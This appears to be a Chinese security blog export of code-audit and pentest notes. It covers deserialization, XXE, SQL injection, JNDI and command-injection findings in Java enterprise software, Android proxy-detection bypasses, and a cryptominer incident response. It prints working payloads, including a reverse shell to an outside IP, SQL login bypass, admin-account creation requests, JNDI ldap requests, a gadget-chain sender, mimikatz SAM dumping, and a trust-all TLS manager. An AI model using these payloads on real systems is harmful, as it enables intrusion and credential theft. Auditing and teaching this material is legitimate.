    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
    hessian2Output.setSerializerFactory(new SerializerFactory(SerializeUtil.class.getClassLoader()));
    hessian2Output.startMessage();
    if (serializable instanceof Character) {
        serializable = new CharWrapper((Character)serializable);
    }

    hessian2Output.writeObject(serializable);
    hessian2Output.completeMessage();
    hessian2Output.close();

漏洞验证：

方式一、本地部署验证

发送消息的客户端，destination类型是queque

public class Appclient {
    public static void main(String[] args) throws JMSException {
        new ClassPathXmlApplicationContext("applicationContext.xml");
        NevadoConnectionFactory connectionFactory = new NevadoConnectionFactory();
        NevadoConnection connection = connectionFactory.createConnection();
//false和1
        NevadoSession session = connection.createSession(false, NevadoSession.AUTO_ACKNOWLEDGE);
        NevadoQueue queue = session.createQueue("test");
        NevadoMessageProducer producer = session.createProducer(queue);
//如果destination类型是topic，那就是{"Message":"base64编码后的恶意数据"}
        NevadoMessage message = session.createTextMessage("base64编码后的恶意数据");
        producer.send(message);
        connection.close();

    }

接收消息：

方式二、搭配amazon sqs使用验证（没用过，理论是这样）

注册一个amazon，使用sqs服务

然后发送消息

或者

集群在接收消息后就会触发

结尾

在跟进的时候还发现了亚马逊接收消息有一个getObject，应该也是个反序列化的点，后来搜网上有文章，属于是nday这里就不继续说了

Maven依赖

<dependency>
  <groupId>com.amazonaws</groupId>
  <artifactId>aws-java-sdk</artifactId>
  <version>1.11.31</version>
</dependency>
<dependency>
  <groupId>org.skyscreamer</groupId>
  <artifactId>nevado-jms</artifactId>
  <version>1.3.2</version>
</dependency>

]]> 代码审计代码审计两个审计记录 /2023/02/22/106/ JAX-RS接口 XXE跟进记录

某个项目

在HeikeServiceImpl中有一处解析xml的方法

参数input由上一层传来

查看都有哪些地方调用了parseMetadata方法

先看第二个

在NiganshaServiceImpl类的方法中，是根据传入的appkey来取出需要解析的对象

除非找到有一个功能可以编辑保存appkey对应的信息，否则这个getXml参数不可控

找需要时间，所以返回上图看WoganshaServiceImpl类

在WoganshaServiceImpl类的方法中，从代码可以看到是传入了一个被base64编码过的参数

往上跟进addSEDefinition方法，在create方法中用到了addSEDefinition

再往上跟进就能看到终点

接口中@path注解就是请求路径，参数content就是触发点，参数dtype、appkey随便填，把xxe payload编码成base64后传过去就行了

最后，第二个点，说到刚刚的NiganshaServiceImpl，找setCurrent

Client.java：

将其搜之

可以看到参数xml是被其封装到了Client中

ClientMeta：

所以再往回看，实际getCurrent获取到的就是setCurrent的内容

然后后面就跟第一个点一样往上找url映射就行了

任意文件上传记录

UploadController.class

module变量会当成目录传进file对象，filename没有校验格式

POST /upload/1/2

]]> 代码审计代码审计 2020代码审计总结（2022修改版_代码审计快速入门） /2023/01/18/94/ 1. 识别框架

在打开源码时想判断系统框架，可以看其目录结构，例如一个struts2项目中web.xml文件存在Filter-class为:

org.apache.struts2.dispatcher.xxxx

以及resources目录（或项目根目录下）中存在strtus.xml

如果存在pom那pom.xml中存在struts依赖信息

而springmvc的特征则是在pom.xml中会存在相关依赖

web.xml中存在关于DispatcherServlet的注册配置

其他的诸如jfinal之类的也会有对应的特征

2. 审计思路

2.1. Struts2

2.1.1. 映射配置

2.1.1.1. struts.xml

通过struts.xml文件,查看存在哪些action,以及处理具体请求的java文件路径

例如:

result有两个属性可以配置：name属性和type属性。其中的name属性主要用来指定资源的逻辑名称，实际名称在标签内部指定。type属性就是result的返回类型，通俗的说，在该标签中，name属性是与处理方法的返回结果对应，type属性表示结果类型，场景如下：

public String login() throws Exception {
       if(this.req==null){
       return “failer”;//name=”failer”
}
        return “success”;//name=”success”
    }

当方法返回failer时就会跳转到前端/failer.jsp，反之就会跳转到/success.jsp

结果类型

结果类型中常用的有四种：dispatcher、redirect、redirectAction和chain。其中dispatcher相当于转发，redirect相当于重定向，redirecAction也是重定向，只不过使用该结果类型的时候，一般是重定向到某个action，最后一种主要用于action的链式处理。其他的还有plainText（用于显示页面的原始内容，比如Servlet或者jsp的源代码）、xslt等

回到图中配置解释，在该图中

login即请求/login，由LoginAction类的login方法处理

请求后缀配置

要确定请求的后缀，可以查看 struts.xml或properties文件的配置

1	`<constant name="struts.action.extension" value="do" /> <constant name="struts.action.extension" value="action" />`

或

1 2	`struts.action.extension = do struts.action.extension = action`

表示.do或.action后缀访问

struts2的动态方法调用和通配符映射

除了以上的映射写法，st2还有一种动态方法调用，但是Struts2默认关闭该功能，需要使用需要手动打开，配置如下

struts.enable.DynamicMethodInvocation = true

动态方法调用

还是这个图

当动态方法启用后，以action后缀为例，原来的/login.action会变成/login!login.action（Action配置名!方法名.扩展名），方法调用一样，由LoginAction类的login方法处理

通配符映射

由上图的写法变为下面的写法：

1
2
3

<action name="*_*" class="cn.thc.web.action.{1}Action" method="{2}">      <result>success.jsp</result>   
<result>failer.jsp</result>  
</action>

该写法的请求URL表现为：/Login_login，同样是由LoginAction里的login方法处理。{1}、{2}表示通配符的位置，这里{1}表示类名Login，{2}表示方法名login。

在审计漏洞之前，我们需要了解一下web各层流程

1.1.1. 层次介绍

通常在struts2中

action为业务逻辑处理层，action层接收来自视图层（前端，用户操作层）的请求，并接收请求参数，同时负责调用模型Model层方法来完成业务逻辑的处理，最后控制程序的流程，选择一个合适的视图，将结果显示给用户，一般这个目录下文件的特征表现为XxxxAction.java，比如NovyAction.java；

dao为数据持久层，在这层中通常是用来做数据库处理的，增删查改都在这里，一般这个目录下文件的特征表现为xxxxDao.java，比如NovyDao.java。

在web运行处理请求时流程为视图层<->业务逻辑处理层<->数据持久层

1.1.2. 实例

Idea打开项目，查看目录结构

根据之前3.1.1.介绍，查看映射配置

查看struts.xml中含有哪些action以便找到处理请求对应的类

根据配置我们知道请求/Gologin由GoLogin类处理，所以我们可以根据路径跟进GoLogin类，其路径组成对应为

src/com/action/GoLogin.java

在idea里，一般可以按住ctrl+鼠标左键点击即可跳转到类

1.1.2.1. 代码分析

在GoLogin类中我们就可以看到一些对登陆的处理，如果我们找SQL注入的话就看处理登陆参数的相关方法，比如此处new了一个AdminDao类下的checkLogin方法来处理username及Password，再根据判断返回的结果是否为空来显示相应内容

根据3.1.2介绍我们知道AdminDao为数据持久层，那么ChekLogin方法通常就是对登陆做数据库操作的地方，所以我们跟进一下该方法

在此处因为直接拼接请求参数，然后带入数据库去执行查询导致了SQL注入漏洞的产生

1.1.2.2. 漏洞验证

根据前面3.1.1.2介绍我们知道其请求路由为/Gologin，参数表现为

username=aaa&password=aaa

根据漏洞位置我们模拟其sql语句为

Select * from Admin where Admin_Username='username' and Admin_Password='password'

所以登陆时我们可以使用万能用户名来进行登陆绕过

admin'or"="or--+

本章思考

在示例中，我们可以看到映射配置中并没有配置具体处理方法，那怎么确定哪个方法是用来处理请求的呢？

Action接口与ActionSupport类

Action接口

这个时候就要说到st2的特性，st2的核心功能就是action，对于开发人员来说，使用st2开发主要就是编写action，为了让开发action类更规范，st2提供了一个Action接口，接口如下所示

当使用Action接口创建action的时候，就必须要实现execute方法，回到思考问题上，此时的请求处理就由实现的execute方法执行，即方法实现要在该方法里编写

ActionSupport类

除了实现Action接口之外也可以通过继承ActionSupport来创建action，因为ActionSupport是接口Action的实现类，所以就不用必须再重新实现execute方法，此时就可以自定义一些方法实现，即映射配置里指定的处理方法

1.1. Spring

1.1.1. 配置及依赖

1.1.1.1. Springmvc.xml

在springMVC配置文件中,component-scan是用来查找Controller类所在位置，org.springframework.web.servlet.view.InternalResourceViewResolver为自定义视图解析器

1.1.1.2. pom.xml

它是Maven项目中的文件，使用XML表示，也可以由此判断该项目是否为maven项目，该配置文件通常用来声明项目信息、环境的配置、引用组件依赖等等

1.1.2. 层次介绍

通常在springmvc中

controller为业务逻辑层，用来接收用户的请求，然后将参数传递到Service层处理业务逻辑，由impl做具体实现，获取到结果后再返回传递，一般请求的url就写在controller中，比如

1 2	`@Controller @RequestMapping(value = "/hinovy")`

则请求url为http://localhost/hinovy

该层级的文件一般为xxxcontroller.java，比如NovyController.java

Service是业务接口层，接收Controller层数据，与DAO/Mapper层交互，处理业务逻辑，生成responseDTO数据并返回Controller层 ,该层文件一般为xxxServce.java，比如NovyService.java，此处是接口定义，就是定义一些方法，没有这些方法的实现，但是有时候数据操作会在这里发生

Mapper是数据持久层，对数据库进行数据持久化操作，他的方法语句是直接针对数据库操作的，数据持久层文件通常都是xxxMapper.xml，比如NovyMapper.xml，它的上一层是Mapper.java，因为业务实现无法直接与xml层做数据交互，所以就要有一个接口来做中转。

Dao是数据接口层，一些数据请求（接口）会在这里发生（一般用于内部实现）

Entity是实体处理层，用于存放我们的实体类，与数据库中的属性值基本保持一致（定义前端传来的请求参数）

Implements是服务实现层用来处理一些方法的实现（这个方法干了啥干了啥），该层文件一般为xxxImpl.java，比如NovyImpl.java，impl 是把mapper和service进行整合的文件，有时候一些sql操作也会发生在这里

在web运行时处理请求的流程为Controller<->Service<->impl<->mapper

1.1.3. 实例

这里以含有漏洞的springboot项目做案例，Idea打开项目，等待依赖导入完成

发生报错的就自己下载相关组件导入

查看目录结构

按照3.2.2介绍得知流程为controller->services->mapper,按照3.2.2对pom的介绍，我们先看pom.xml引用了哪些组件，以此来找出包含漏洞版本的组件，然后再看controller及其他。

在pom文件中，我们可以看到其引用了含有漏洞版本的fastjson

但是看到依赖还不行，要定位到用到该依赖的地方，可以全局搜parseObject或parse来查看请求是否可控。

要找出所有业务逻辑层，可以在idea中利用file mask来查看所有controller：*Controller.java，或全局搜索@Controller

随便点进一个搜索结果，从3.2.2介绍得知此处请求url为/informlistpaging，由informListPaging方法处理

在此处我们可以看到informListPaging方法有很多注解，其中@RequestParam是获取请求参数，参数名为value值，拿basekey做例子，在该方法中被定义为字符串请求参数。在SpringMvc进行获取请求参数，常见的一般有三种：

1.request.getParameter("参数名")

2.用@RequestParam注解获取

3.Springmvc默认支持的数据类型接收参数，可直接通过controller方法参数对应jsp中请求参数name直接获取

如果是@RequestBody则是获取整个请求体

1.1.1.1. 代码分析

pom.xml

看到了存在漏洞的组件，全局搜索json.parseObject或JSONObject.parseObject`` 来查找参数可控的地方

在该类中getCommonFields方法里对param参数做了反序列化，但是还没有看到请求的url，所以要往上跟进该方法，看看有哪里调用了getCommonFields

在一处业务逻辑层中看到调用的地方，在该方法中，将参数param传进了getCommonFields方法进行反序列化，由于参数是可控的，所以我们可以直接利用，url请求表现为：

/getCommonFields?param=url编码的payload

同样的，按照3.1.3.1的思路，我们想要找注入就找到处理该参数的地方

拿informListPaging方法的basekey参数为例

在80行中，几个参数传进sortMyNotice方法进行处理，这里需要注意的是，nm并不是一个类，而是一个被定义的接口，所以我们需要注意nm在哪里被定义了

跟进NoticeMapper

此处为数据持久层接口，为nm提供了sortMyNotice方法，但这里还不是数据库操作的地方，因为controller无法直接调用mapper.xml的方法，所以就需要这个mapper.java来做一个接口中转，所以我们根据3.2.2介绍，转到mapper.xml层

全局搜索sortMyNotice方法

转到notice-mapper.xml

此处的select id即为调用到的方法，往下为sql语句，我们可以看到在like后面直接用%${}%进行模糊查询，没有对参数做预编译，导致了漏洞的产生

1.1.1.2. 漏洞验证

在3.2.2的介绍中得知，根据controller构造url：

http://localhost/informlistpaging?baseKey=

本章思考

有人会问按照介绍，那service层呢？在这里

imformRelationService的setList方法对mapper处理返回的数据进行封装处理后返回到controller，然后controller返回到视图层，流程结束

service只是接口？

有时候sql查询会直接发生在XXXservice，比如

某个项目中的某个方法有个查询，定义了一个字符串参数defkey

查看wfservice在哪里被定义，也可以直接ctrl+左键直接进入方法

跟进WorkFlowService，在该WorkFlowService中搜索前面调用到的getHavedonePage方法，在该方法中含有一条没有进行预编译sql查询，此处直接进行数据查询导致了漏洞的产生

所有这个名称是看开发，有时候文件名只是文件名，还是要具体看类名前置，如果是public interface WorkFlowService那说明这个类是接口类，具体操作不会发生在这里，这个时候就要找实现它的类

跟到接口断了

当跟进方法时跟到接口断了怎么办，比如出现这种情况

controller里有一个密码重置

跟进updatePassword方法

到这里之后只看到提供给userService的updatePassword方法，没有看到具体的实现，

不要慌，根据3.2.2的介绍，我们还有个impl没有看，有接口那必定有一个实现该接口的类。全局搜索implements UserService

就可以看到对接口UserService的updatePassword方法的实现

这时候再继续往下跟就可以了，流程一样

返回结果

在spring项目中，@Controller跟@RestController的返回类型是不一致的

@Controller

在使用@Controller注解时，该请求处理的返回结果需要配合视图解析器InternalResourceViewResolver才行，也就是说，当某个请求使用了@Controller，那么它return的内容就必须是前端页面，且页面文件必须存在，场景如下

该controller将返回hi或index页面，此时静态资源中就要存在hi、index.html或jsp文件

@RestController

如果只是使用@RestController注解，则Controller中的方法无法返回jsp页面，或者html，配置的视图解析器 InternalResourceViewResolver不起作用，返回的内容就是Return 里的内容。场景如下：

此时该controller返回的只是字符串hi或index，不会跳转到对应页面。

1. 小技巧

1.1. 命名

无论是struts还是springmvc/boot，按照我的理解，为了方便区分和后续其他开发，除非另类命名（比如3.1.3），在整个请求处理流程中对于类名的前置命名都是一致的，比如

NovyController->NovyService->(NovyServiceImpl->)NovyMapper.xml

或者下一层级会多出个别字符INovy、PNovy等。而不会出现

NovyController->TestService->(WhyServiceImpl->)OasdMapper.xml

这种情况，所以在审计过程中跟进代码时利用全局搜索能更好的提高审计效率

当然，有其他实现类实现统一接口的时候情况按前面本章思考说的层级跟进一样跟就行了

1.2. 方法的跟进

通常调用方法时都是类名.方法名，或者写了一个接口，然后再定义一次，如下

private EntityManager em;

这样em就可以用到EntityManager里的方法

比如某个项目有一个序列化工具类SerializeUtil，在该类里有一个deserialize方法来反序列化接收的request数据

而在controller中定义了一个接口fvlh

然后进行调用

fvlh.deserialize(request);

如果我们想找反序列化漏洞就在跟进时可以直接ctrl+左键（idea）来跟进deserialize方法查看具体实现，或者先查看哪里定义了fvlh，然后再根据接口实现去跟进deserialize方法进行漏洞跟踪即可

1. 进阶

红队快速审计

在开始之前，需要继续再了解一下过滤器和处理器映射器。说到过滤器，还有一种拦截器，过滤器关注的是web请求，拦截器关注的是方法调用，比如拦截敏感词汇，有关两者的区别可以自行百度。在红队实施工程中，大都喜欢通过供应链攻击来获得目标项目源码以进行下一步针对性打点。在获得的源码中，java类项目除了springboot之外，一般都以war包的形式基于tomcat部署。接下来就说一下再得到源码之后如何快速找到入口并审出漏洞

过滤器之Web.xml

Web.xml是Java Web项目中的一个配置文件，主要用于配置首页、Filter、Listener、Servlet等。 tomcat在部署启动web应用时，会解析加载${CATALINA_HOME}/conf目录下所有web应用通用的web.xml，然后解析加载web应用目录中的WEB-INF/web.xml 。conf/web.xml文件中的设定会应用于所有的web应用程序，而web应用程序的WEB-INF/web.xml中的设定只应用于该应用程序本身。

web.xml加载过程

1,、启动Web项目时，容器(tomcat)会去读取web.xml文件的</listener>和 </context-param>两个标签节点；

2、容器创建一个ServletContext(上下文环境)；

3、容器以的name作为键，value作为值，将其转化为键值对，存入ServletContext。

4、容器创建</listener>中的类实例，根据配置的class类路径<listener-class>来创建监听，在监听中会有contextInitialized(ServletContextEvent args)初始化方法，启动Web应用时，系统调用Listener的该方法。

5、容器初始化</filter>，web.xml中可以定义多个 filter，初始化每个filter 时，是按照 filter 配置节出现的顺序来初始化的，当请求资源匹配多个 filter-mapping 时，filter 拦截资源是按照 filter-mapping 配置节出现的顺序来依次调用 doFilter() 方法

6、容器初始化</servlet>

有关web.xml标签的解释，可以查看https://www.jianshu.com/p/7f834dd090fe

Filter

过滤器的本质就是一个实现了 Filter 接口的 Java 类，具体表现如下图，针对请求的处理就发生在doFilter方法中。当执行完语句或满足某种条件时就会放行当前请求进入下一个过滤器 chain.doFilter

还有一种是通过实现Servlet接口来响应用户请求，表现如下图，处理请求的实现就在service方法中，其继承的HttpServlet就是Servlet接口的实现类（他还继承了GenericServlet，GenericServlet才是直接实现Servlet的抽象类。每个处理器都有个核心方法，如拦截器就是preHandle、postHandle）

非注解处理器映射器

其配置场景感觉跟strust2的差不多，有两种写法

第一种: BeanNameUrlHandlerMapping

name属性就是请求url，class是负责处理请求的类

第二种：SimpleUrlHandlerMapping

prop key会根据其标签值去查找对应的bean id，再根据bean标签对应的Handler（即class）处理请求，这里的prop key="/queryUsers1.action"也是请求url，同一个bean可以有多个url映射

快速审计

案例一、

这里以war项目为例，再得到源码之后解压，直接打开WEB-INF下的Web.xml查看过滤映射配置

在idea里，还要右键lib目录，将依赖导入到项目中

回到web.xml

servlet-name标签标示过滤器名称，每个过滤器处理一个或多个请求。图中名为JsInvokeServlet的过滤器由nc.bs.framework.js.servlet.JsInvokeServlet类实现。该过滤器主要用于处理/jsinvoke/*请求，即<url-pattern>标签

我们直接ctrl+左键点击JsInvokeServlet进入JsInvokeServlet类查看实现，如果JsInvokeServlet爆红，请确认lib有没有被导入，或者可以双击shift键搜索

进入到JsInvokeServlet后看其核心方法

跟进service直到看到有方法的实现，这里他将req、rep对象传进下一个service，继续跟进

在下一层的service方法中看到对请求的响应处理

这个时候再根据对应的实现跟进就可以查看有无漏洞了。像这种只有一个过滤器，且实现里没有针对/jsinvoke/*请求的登录校验，那么这里就存在一个未授权访问漏洞。验证漏洞时其url组成为项目名+<url-pattern>标签值。默认情况下，只要项目不在tomcat的ROOT目录里，那么项目文件夹名也是url组成的一部分，如图，拼接得到/uapjs/jsinvoke/

案例二、

还是查看WEB-INF/web.xml

com.inspur.tsce4.monPhysicalView.Servlet处理/monPhysicalView请求

在Servlet类中，会将请求交到Management对象处理

WEB-INF/classes/com/inspur/tsce4/monPhysicalView/Servlet.class

在doResponse方法中，获取请求参数op，当参数值是systemShutdown时就会进到systemShutdown方法

在systemShutdown方法中，又从请求中获取参数，将参数传到Command的systemShutdown方法

WEB-INF/classes/com/inspur/tsce4/monPhysicalView/Command.class

继续传到doCommand方法

doCommand方法中因为调用了系统shell，所以可以使用管道符进行命令拼接，导致命令执行漏洞产生

示例：

根据案例一介绍，搭配web.xml的映射配置，url为：

1
2
3

/tsce4/monPhysicalView?op=systemShutdown
 
{"nodename":"a | bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 |"}

案例三、

还是web.xml

在web.xml的初始化内容中看到，/sysLogin.do可以不用进行权限校验

全局搜索sysLogin.do查看器映射配置

这就是前面提到的非注解SimpleUrlHandlerMapping方式，按照介绍这里就跟着标签值查找对应的bean id，搜一下sys.Login

跟进其handle查看请求处理实现

WEB-INF/classes/com/founder/newsedit/edit/v2/sys/NewseditSysLoginController.java

在handle方法中会通过判断Super的值来进入相应的方法进行处理

在putSession方法中，会创建一个管理员权限的账号

参数表现为

Super=1&UserName=test&UserCode=1&UserID=11&UserPassword=123456

按照前面说到的项目名+web.xml映射路径

所以可以通过请求

/newsedit/e5sys/sysLogin.do?Super=1&UserName=test&UserCode=1&UserID=11&UserPassword=123456

添加管理员账号

本章思考

看到这里想必已经清楚了其实很多时候查看xml配置文件能有很多意外之喜，在拿到源码之后，可以通过查看映射配置文件以及过滤器配置文件来快速定位入口以便下一步找到漏洞。由于顺序关系，很多时候在web.xml中就可以找到未授权访问漏洞或者权限绕过漏洞。在找到绕过之后就可以查看业务逻辑层有无敏感的操作，如命令执行、文件上传、用户重置、token获取等搭配绕过来利用。

5.参考

在学完以上思路后，基本就可以去审计漏洞跟进代码了，此处列举常见漏洞场景，以供参考

]]> 代码审计代码审计用友的一处jndi及sql注入审计 /2022/12/10/96/ 首先查看其中一个模块的映射配置

经分析，这里所有的映射均可利用，以SoapRequestAction类为例

首先查看SoapRequestAction的流程，在execuse方法中获取了两个参数，ws、soap

然后将两个参数传进sendRequest方法，在sendRequest方法中，会根据传进的ws参数去查找对应的soap接口服务

传进来的soap参数则作为soap接口参数来进行请求

从上面流程得知这是一个soap服务

参数表现为：

1	`ws=webservice接口&soap=webservice接口参数`

接下来查找可以利用的webservice接口

在IMsgCenterWebService.wsdl接口文档中，存在很多个字符串参数dataSource，根据字面意思，假设他存在一个数据源连接功能

需要跟进相应方法查看参数是否真的是数据源连接功能，能不能用作jdbc反序列化

根据接口文档名称，得到接口类nc.itf.msgcenter.IMsgCenterWebService，我们以uploadAttachment方法为例跟进

图中接口对应的实现类为

MsgCenterWebServiceImpl.class

在该实现类的uploadAttachment方法中又调用IMsgCenterService接口的实现

查看IMsgCenterService接口

对应的实现类

MsgCenterServiceImpl.class

在uploadAttachment方法中，会将我们前面注意到的dataSource等参数传进resetInvacationInfoByMsgID方法做处理

跟进resetInvacationInfoByMsgID方法，参数传进来后，首先是做了一个初始化。具体为：将参数dataSource设置为UserDataSource的值，以供后面的流程调用

另一个传进的参数pk_sourcemsg则是传进retrieveByPK方法做查询

继续跟进流程

BaseDAO.class

在retrieveByPK方法中，封装了一个manager对象，这里的dataSource是上面说到设置的UserDataSource值，即传进的参数dataSource

跟进createPersistenceManager方法

PersistenceManager.getInstance返回的是他的子类JdbcPersistenceManager

所以跟进JdbcPersistenceManager

JdbcPersistenceManager.class

在JdbcPersistenceManager对象中做了一次初始化，此时的dataSource就是传进的参数dataSource

接着进入到init方法，在init方法中，又使用JdbcSession对象来处理dataSource

查看JdbcSession.class

在构造函数JdbcSession里对dataSource进行连接

具体看getConnection方法：

往下就是触发流程了

DataSourceCenter.class

变量name是传进的参数dataSource，在DataSourceCenter.getConnection方法中将参数传递到Context.lookup，到这里就可以确定这是一个jndi注入了，与JDBC反序列化无瓜

验证：

根据IMsgCenterWebService.wsdl接口文档构造soap参数

POST /uapws/soapRequest.ajax HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 783
Connection: close
 
ws=nc.itf.msgcenter.IMsgCenterWebService&soap=<?xml version="1.0" encoding="UTF-8"?><env:Envelop xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sn="http://msgcenter.itf.nc/IMsgCenterWebService">
  <env:Header/>
  <env:Body>
    <sn:uploadAttachment>
      <dataSource>ldap://0.0.0.0:1389/Test</dataSource>
      <msgtype>?</msgtype>
      <pk_sourcemsg>?</pk_sourcemsg>
      <filename>?</filename>
      <file>?</file>
    </sn:uploadAttachment>
  </env:Body>
</env:Envelop>

最后：

在审计时一度以为这是一个jdbc反序列化，给人错觉的地方太多了，好在最后验证时成功了，且报错的内容与过程看到的一致

最后的最后：

这个接口里还有个紧急注入，不修就倒闭：MsgCenterServiceImpl

参数拼接：

这个方法由这里调用

根据代码可以看到这里参数必须是json格式，只需要pk_sourcemsg参数为空就可以进入else流程，造成注入

这个方法最终由这里调用

POST /uapws/soapRequest.ajax HTTP/1.1
Host: 127.0.0.1:8023
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 457
Connection: close
ws=nc.itf.msgcenter.IMsgCenterWebService&soap=<?xml version="1.0" encoding="UTF-8"?><env:Envelop xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sn="http://msgcenter.itf.nc/IMsgCenterWebService">
<env:Header/>
<env:Body>
<sn:doAction>
<dataSource>这里需要有数据源地址才能进行下面的注入，嘻嘻</dataSource>
<actionCode>这些参数随便填，我直接?</actionCode>
<pluginType>这些参数随便填，我直接?</pluginType>
//这里就是注入点，pk_sourcemsg为空就可以注入user的值，继续跟进你们会发现，如果注入参数是order开头，那场景就是 sql = sql + " " + condition; 否则就是 sql = sql + " WHERE " + condition;
<param>{"pk_sourcemsg":"","user":"注入点"}</param>
</sn:doAction>
</env:Body>
</env:Envelop>

]]> 代码审计代码审计反序列化随手 /2022/12/09/97/

1	`SyncServer.class`

启动进入service方法

在service方法中，将socket连接信息传进CommunicateHandler对象处理

其中serverSocket对象的初始化信息如下：

getServerPort方法返回的是指定的8821端口

getserverAddr则返回的是本机ip

回到对socket的处理，跟进CommunicateHandler类

1	`CommunicateHandler.class`

将包含有连接信息的socket对象传进handle方法

在handle方法中，使用ObjectInputStream对象的readObject方法对获取的socket数据流进行了反序列化，由于与socket通信的数据是可控的，导致了漏洞的产生

验证：

使用python编写一个与目标进行socket通信发送恶意数据的脚本

#
coding: utf - 8
import socket
s = socket.socket()
host = "192.168.31.169" //目标ip
port = 8821
s.connect((host, port))
ssss = open("cc6.ser", 'rb') //恶意数据，ysoserial CommonsCollections6
xc = ssss.read()
s.send(xc)
s.close()

启动目标

1	`java -cp sync.jar SyncServer`

运行脚本，向目标发送恶意数据，目标接收消息后触发

能使用的利用链：

]]> 代码审计代码审计 iptables开启透明代理绕过APP代理检测 /2022/10/18/93/ 有时候前端弹提示的检测，透明比较好用

开启透明代理命令

1	`iptables -t nat -A OUTPUT -p tcp -m owner --uid-owner 进程所有者 -j DNAT --to-destination 代理ip:端口`

其中进程所有者需要查看启动应用的uid
在adb shell里执行

1 2	`ps -ef \| grep 包名`

然后执行开头的命令就可以开启透明代理

burp还需如下配置

此时不用在手机设置代理就可以抓包了

删除代理

1	`iptables -t nat -D OUTPUT -p tcp -m owner --uid-owner 进程所有者 -j DNAT --to-destination 代理ip:端口`

]]> app测试 app测试使用面具zygisk绕过app环境检测 /2022/10/18/92/ 在面具设置中开启Zygisk并关闭遵守排除列表，暂时不要重启手机，在配置排除列表里勾选上需要测试的app即可

]]> app测试 app测试使用面具LSPosed模块绕过代理检测 /2022/10/18/91/ 准备两个文件

一、点击下载LSPosed-v1.8.5-6649-zygisk-release.zip
二、点击下载TrustMeAlready-v1.11-release.apk

其中LSPosed-v1.8.5-6649-zygisk-release.zip使用面具安装（模块-从本地安装）

安装好后把TrustMeAlready-v1.11-release.apk安装到测试机，随后打开LSPosed，激活TrustMeAlready后，勾选需要抓包的app即可，

剩下的就按照正常抓包那样配置代理就行了

]]> app测试 app测试 windows查看程序运行参数 /2022/10/11/90/ wmic查看程序运行命令

1
2
3


wmic process where caption="cmd.exe" get caption,commandline /value

]]> 应急响应应急 windows提取密码 /2022/09/11/89/ 利用注册表将文件导出

1 2	`reg save hklm\sam sam.hive reg save hklm\system system.hive`

把文件保存下来到本机
执行mimika：

1	`lsadump::sam /sam:sam.hive /system:system.hive`

]]> 内网渗透内网渗透 java忽略ssl证书校验 /2022/07/07/87/

static {
        try {
            SSLContext sslContext = SSLContext.getInstance("SSL", "SunJSSE");
            sslContext.init(null, new TrustManager[]{new TrustAll()}, new java.security.SecureRandom());
            HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() {
                public boolean verify(String s, SSLSession sslsession) {
                    return true;
                }
            };
            HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier);
            HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
class TrustAll implements X509TrustManager {

    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
    }

    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
    }

    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return null;
    }
}

]]> 工具利用工具利用 base64编解码文件 /2022/07/06/86/

import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import java.io.*;

/**
 * @Author:novy
 * @Date:12:05 2022/7/6
 * @Version 1.0
 **/
public class B64code {
    public static void main(String[] args) throws Exception {
        //解码还原成this.class
//        String str = "base64字符串";
//        decoderBase64File(str, "F:\\this.class");



        //编码到here.txt
        String base64Code =  encodeBase64File("F:\\this.class");
        String Str2 = base64Code.replaceAll("(\\r\\n|\\n|\\\\n|\\s)", "");
        System.out.println(Str2.trim());
        try (FileOutputStream fileOutputStream = new FileOutputStream("F:\\this.txt")) {
            byte[] bytes = Str2.getBytes();
            fileOutputStream.write(bytes);
        }
        }
    public static String encodeBase64File(String path) throws Exception {
        File file = new File(path);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        inputFile.close();
        return new BASE64Encoder().encode(buffer);
    }
    public static void decoderBase64File(String base64Code,String targetPath) throws Exception {
        byte[] buffer = new BASE64Decoder().decodeBuffer(base64Code);
        FileOutputStream out = new FileOutputStream(targetPath);
        out.write(buffer);
        out.close();
    }
    }

]]> 工具利用工具利用记录一次应急响应 /2022/06/02/84/ 背景：
说是edr一直告警，技术初步排查找不到对应计划任务及开机启动，告警却每20分钟触发一次，寻求远程支持

首先按照常规看的确没看到异常项
然后看看系统日志
日志显示主机从2020年1月12日之前已经被控，日志记录到12号凌晨五点，再往前就没有powershell日志，从12号开始一直通过powershell执行命令
从命令来看用的是无文件攻击技术

取日志内容Base64解码内容

分析内容发现，攻击者通过绑定WMI事件，注册stem_Anti_Virus_Core类，向system_Anti_Virus_Core的属性中写入恶意利用，即只要WMI服务运行，当监控到指定事件发生时，就会执行攻击者预先设定好的功能
使用工具查看wmi启动项为空

使用系统自带的wbemtest.exe查看WMI测试器

从枚举出来的类中滑到最后发现System_Anti_Virus_Core类

打开\.\root\default:System_Anti_Virus_Core类，发现写入的异常属性

解码得到

从以上行为特征看符合挖矿程序行为

百度一下这个挖矿程序
根据这个挖矿程序的特征找到了
2020年1月16日建的ipsec
Netbc

未发现多余的账号

未发现可疑的计划任务

未发现可疑的开机启动

最后处置：
1、删除System_Anti_Virus_Core及相关实例
2、删除杀软查出来的所有东西
3、删除查出来的ip策略
4、新建一个规则，禁用445、135、137、138、139端口
5、做一次全盘扫描，查杀后重启
6、开机后再扫一次，观察20分钟，没问题修改密码

出站：

入站：

参考
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/coinminer.ps1.malxmr.ae
